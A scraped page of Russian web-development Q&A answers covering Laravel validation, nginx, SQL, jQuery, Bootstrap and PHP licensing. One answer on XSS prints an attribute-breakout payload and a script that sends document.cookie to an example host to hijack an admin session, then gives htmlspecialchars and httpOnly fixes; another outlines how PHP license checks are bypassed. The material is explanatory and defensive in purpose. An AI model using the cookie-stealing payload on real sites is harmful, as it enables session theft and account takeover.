• Как добавить свою валидацию при регистрации в Laravel?

    @Kostik_1993
    Web Developer
    С каждым днем вопросы все тупее и тупее. Если бы вы хотя бы открыли доку и подумали немного мозгами то поняли, что вам всего лишь нужно добавить в массив еще одну строку с названием вашего поля и правилами проверки
    'key' => 'required|exists:названиетаблицысключами,названиестолбца'

    А вот вам ссылочка на документацию чтобы больше не позориться
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Debug конфиг для Nginx, нужна помощь в реализации идеи?

    SagePtr
    @SagePtr
    Еда - это святое
    Проще на другом порту поднять второй экземпляр nginx (или добавить в этот прослушку другого порта со своими отдельными вхостами) и в браузере в адресе сайта добавлять этот порт для активации отладочного режима.
    Ответ написан
    3 комментария
  • Как достучаться до провайдера, чтобы он перестал маршрутизировать трафик через другую страну?

    Jump
    @Jump
    Системный администратор со стажем.
    Как можно решить проблему?
    Перейти к другому провайдеру.

    Кому пожаловаться?
    Можно в спортлото написать...

    Провайдер это частная коммерческая компания продающая услуги по подключению к сети интернет.
    Она оказывает услугу, вы за нее платите.
    Если услуга по вашему мнению не стоит той платы - можете разорвать договор.

    Как маршрутизировать трафик - это уже внутренние проблемы провайдера, которые вас не касаются, как удобней и дешевле, так и маршрутизирует.

    Поддержка Мегафона отмороженная, проблема на их стороне
    Это не является проблемой с точки зрения провайдера - трафик идет, чего еще надо?

    Если вы являетесь крупным корпоративным клиентом - сообщите менеджеру, может они пойдут вам на встречу.

    Можно ли настучать магистральному провайдеру на Мегафон за то, что он шлёт трафик в магистраль попусту?
    Магистральному провайдеру это очень выгодно. Чем больше Мегафон шлет, тем больше денег. А настучать можно куда угодно, и на кого угодно.

    Честно говоря, не понимаю.
    Это значит что мегафон подключен к данной магистрали в Киеве.
    Мегафон подключен к множеству различных магистралей в разных точках, и направляет трафик через более удобную ему точку.
    Удобство зависит от цены, схемы сети, нагрузки на разные каналы и кучи других факторов, но главное это конечно цена.
    Ответ написан
    Комментировать
  • Не могу разобраться с выводом данных из базы. Выводится только одна строка, почему?

    0xD34F
    @0xD34F
    Вы используете $db сразу для двух задач - естественно, что второй запрос приводит к тому, что его результат перетирает результат первого запроса.

    Что делать? Есть три варианта - два дурацких, и один правильный:
    1. После выполнения первого запроса достаньте сразу все данные - закиньте их в отдельный массив, и обходите в цикле уже этот массив
    2. Не используйте $db для выполнения запроса внутри цикла - создайте для этого отдельный экземпляр класса, отвечающего за работу с БД
    3. Наконец, правильный вариант - доставайте все данные одним запросом, для этого вам потребуется разобраться с такой штукой как JOIN (вот прям берёте и гуглите - "sql join")
    Ответ написан
    Комментировать
  • Почему наши топ веб-студии не считают Wordpress серьезной CMS, а американские топовые студии делают на нем 50% сайтов?

    gobananas
    @gobananas
    finishhim.ru
    К нам приезжали представители из топовой студии нашего города и вполне предлагали WP.
    Кто что говорит вообще не важно, каждый хвалит своё болото. Нашим выгоднее продать вам битрикс за 75 а потом ещё каждый год по 25 за обновление брать.
    Ответ написан
    3 комментария
  • PHP 7. Apache vs nginx?

    @Fixid
    Nginx.
    Хотя все еще встречаю схемы Nginx <-> Apache <-> Php7. И то обычно ради .htaccess, точнее нежелания изучать синтаксис Nginx
    Ответ написан
  • Как перенаправить трафик с одного интерфейса на другой?

    megafax
    @megafax
    web-программист
    Если у Вас белый IP, то допишите в конфиг nginx listen с нужным IP:PORT и все, не надо никаких перенаправлений
    Ответ написан
    2 комментария
  • Плохо ли создавать проекты с нуля? Что значит быть про?

    @kgbplus
    > //Вроде любому вменяемому разработчику понятно что делает, тут же даже в самом запросе чуть-ли не объяснение
    > mysqli_query($bd,"UPDATE `users` SET `group` = '1' WHERE `id`='$user' LIMIT 1");

    Про таких специалистов даже есть специальный комикс:
    exploits_of_a_mom.png
    Ответ написан
    Комментировать
  • Плохо ли создавать проекты с нуля? Что значит быть про?

    @Plus3x
    c10c573f52694badb316d1aa222bc323.png
    Ответ написан
    Комментировать
  • Хочу изменить поле в БД но мне выдает ошибку?

    Sanasol
    @Sanasol
    нельзя просто так взять и загуглить ошибку
    Column not found: 1054 Unknown column 'status_distib' in 'field list'

    Что непонятного-то?
    Ответ написан
    Комментировать
  • Как выбрать среднюю цену из MySQL таблицы, но при этом получить и id товара?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    'product_id ' - строка
    `product_id` - название колонки
    Почувствуйте разницу
    Ответ написан
    Комментировать
  • Как можно на сайте создать систему лицензии? php?

    402d
    @402d
    начинал с бейсика на УКНЦ в 1988
    хостить на своем сервере и не давать доступа к коду.
    Все остальное ломается.

    Распишу подробнее.
    1) простейший уровень защиты
    где-то в php коде у Вас проверка
    if(!validLicense()){
      die('все кина не будет');
    }

    ломается в 1 байт
    2) Вы навернули на этот кусок кучу преобразований, но чтобы исполнить его в коде будет eval() или его менее
    известные аналоги.
    Искать чуть-чуть сложнее ;)
    3) Вы завернули проверку в кучу функций и пока лицензия работает, результат один, кончилась
    началась лажа, например сумма заказа рвется на пару копеек. Поздравляю, на Вас заведут уголовное
    дело.

    4) Вспоминаем что PHP это компилирующий интерпретатор.
    И на исполнение можно подсунуть зашифрованный P-код. Так работают всякие ионкубы.
    Взлом становиться делом избранных, при условии, что Вы купили средство защиты последней версии,
    для которой в паблике нет рекомпилера. Ваши коды взломает спец за 1000$, а не школьник.

    Что можно все таки сделать?
    Пойти по пути прикормленного комьюнити (партнерские скидки) и говнокод в котором тот, кто может снять защиту, ни за какие деньги не согласиться копаться.
    Ответ написан
    4 комментария
  • Почему говорят что jquery не нужен?

    ThunderCat
    @ThunderCat Куратор тега JavaScript
    {PHP, MySql, HTML, JS, CSS} developer
    Скрипач не нужен, родной (с)
    Аргументы против jq:
    - современные браузеры достаточно хорошо поддерживают единый синтаксис современного екмаскрипт(native js)(на самом деле нет).
    - сторонняя библиотека, работает медленнее чем натив и в основном состоит из с-сахара (тоже не совсем правда)
    - тащить еще один ресурс весом от 64 кб до 200 кб, еще и со сторонних ресурсов замедляет загрузку( правда, но бред)
    Аргументы за:
    - Современные браузеры как и всегда один другого "ровнее", всегда есть косяки и "нюансы", на которые еще и попадаешь обычно в самый неподходящий момент, в жк обычно все работает одинаково везде, ну или лучше чем в нативе.
    - В жк реализована куча плюшек в 1 функцию которые в нативе занимают "многабукав", не каждый начинающий напишет их правильно, да и профи не все напишут оптимально, уверен что в большинстве случаев написанный нативом функционал будет хуже аналога из жк.
    - размер мин пакета жк 64 кб, и все они лежат на быстрых цдн серверах. Думаю это последнее что может повлиять на скорость загрузки страницы.
    - есть ОГРОМНОЕ количество скриптов написанных с учетом жк, не использовать их глупо, писать свой велосипед - вообще только в целях обучения(не берем крайние случаи когда плагин писал упоротый пингвин).
    - Синтаксис и краткость записи - вообще вне конкуренции.
    - Старые браузеры никто не отменял, часто заказчик требует чтобы работало в ие8, натив не канает или доставляет море анального удовольствия.
    Вывод: Если ты крут в жс, еще и работаешь в ангуларе/ещечетамдляфронта и тебе нужно сделать 2 действия в очень современных браузерах - jquery не нужен, и ты это сам знаешь. Если слова ангулар, вуе и проч для тебя не больше чем шум листвы за окном, а навесить плагинов и эффектов нужно - jquery наше все.

    UPD: для всех кто там отписался а ля "в связи (...), исчезновением проблемы совместимости со старыми IE (что и было основным назначением jQuery)." - свежачок
    Ответ написан
    4 комментария
  • Сколько замедляет ооп работа программы php?

    ThunderCat
    @ThunderCat Куратор тега PHP
    {PHP, MySql, HTML, JS, CSS} developer
    Начиная с емнип 5.6 работа с объектной моделью данных не уступает в скорости процедурному коду, а в потреблении памяти сильно выигрывает, за счет создания только тех объектов, которые необходимы в данный момент в коде, а не тянутся все 100500 функций из процедурной лапши.
    Ответ написан
    Комментировать
  • Как научится понимать Bitrix за один вечер?

    Maksclub
    @Maksclub
    maksfedorov.ru
    Найдите подходящий скринкаст на Ютубе
    Ни пуха ни пера вам -- для верстальщика это будет испытание:)
    Там не все так просто, как с обычными легкими цмс, у которых есть шаблоны

    Время на теорию у меня всего один вечер (а скорее всего ночь).

    Помимо Битрикса вам нужно изучить методологии разработки, в частности ФФФ, где подразумевается ТРЕЗВАЯ оценка и договоренность по времени с запасом, чтобы не планировать ВПРИТЫК (я молчу про дичайший дедлайн в один вечер), тк в ее основе лежит принцип:
    "Всегда пойдет все не так, как задумал, тк живем среди живых людей и что-то обязательно сдвинет сроки"

    - Пообещали сделать за вечер и сделали за вечер -- всего лишь выполнили обещанное (хотя вам это много стоило)
    - Пообещали за вечер и сделали за 3 -- вы облажались в 3 раза
    - Пообещали сделать за неделею и сделали за вечер или за 3 -- вы супер обслужили быстрее в разы и потрясли заказчика
    Выбирайте
    Ответ написан
    1 комментарий
  • Можно ли использовать только методы jQuery?

    @Flying
    $(selector) возвращает объект jQuery, а document.querySelector() - DOM node. У последнего, очевидно, нет методов jQuery поэтому приведённый код document.querySelector("a").методJQ() работать не будет.
    Ответ написан
    Комментировать
  • Как вывести из txt файла ссылки?

    sfi0zy
    @sfi0zy Куратор тега HTML
    Creative frontend developer
    Можно пойти в консольку (bash наше все). Если ссылки так и стоят в начале строк:
    awk '{print $1}' test.txt

    Если они там и как попало тоже стоят, то можно регуляркой их вытащить. Что-нибудь такое получится:
    grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" test.txt
    Ответ написан
    Комментировать
  • Как сделать 5 колонок разной ширины в Bootstrap 4?

    mmmaaak
    @mmmaaak
    если в тупую то:
    <div class="row">
      <div class="col-md-3">1</div>
      <div class="col-md-3">2</div>
      <div class="col-md-3">3</div>
      <div class="col-md-3">
        <div class="row">
          <div class="col-md-6">4</div>
          <div class="col-md-6">5</div>
        </div>
      </div>
    </div>
    Ответ написан
    Комментировать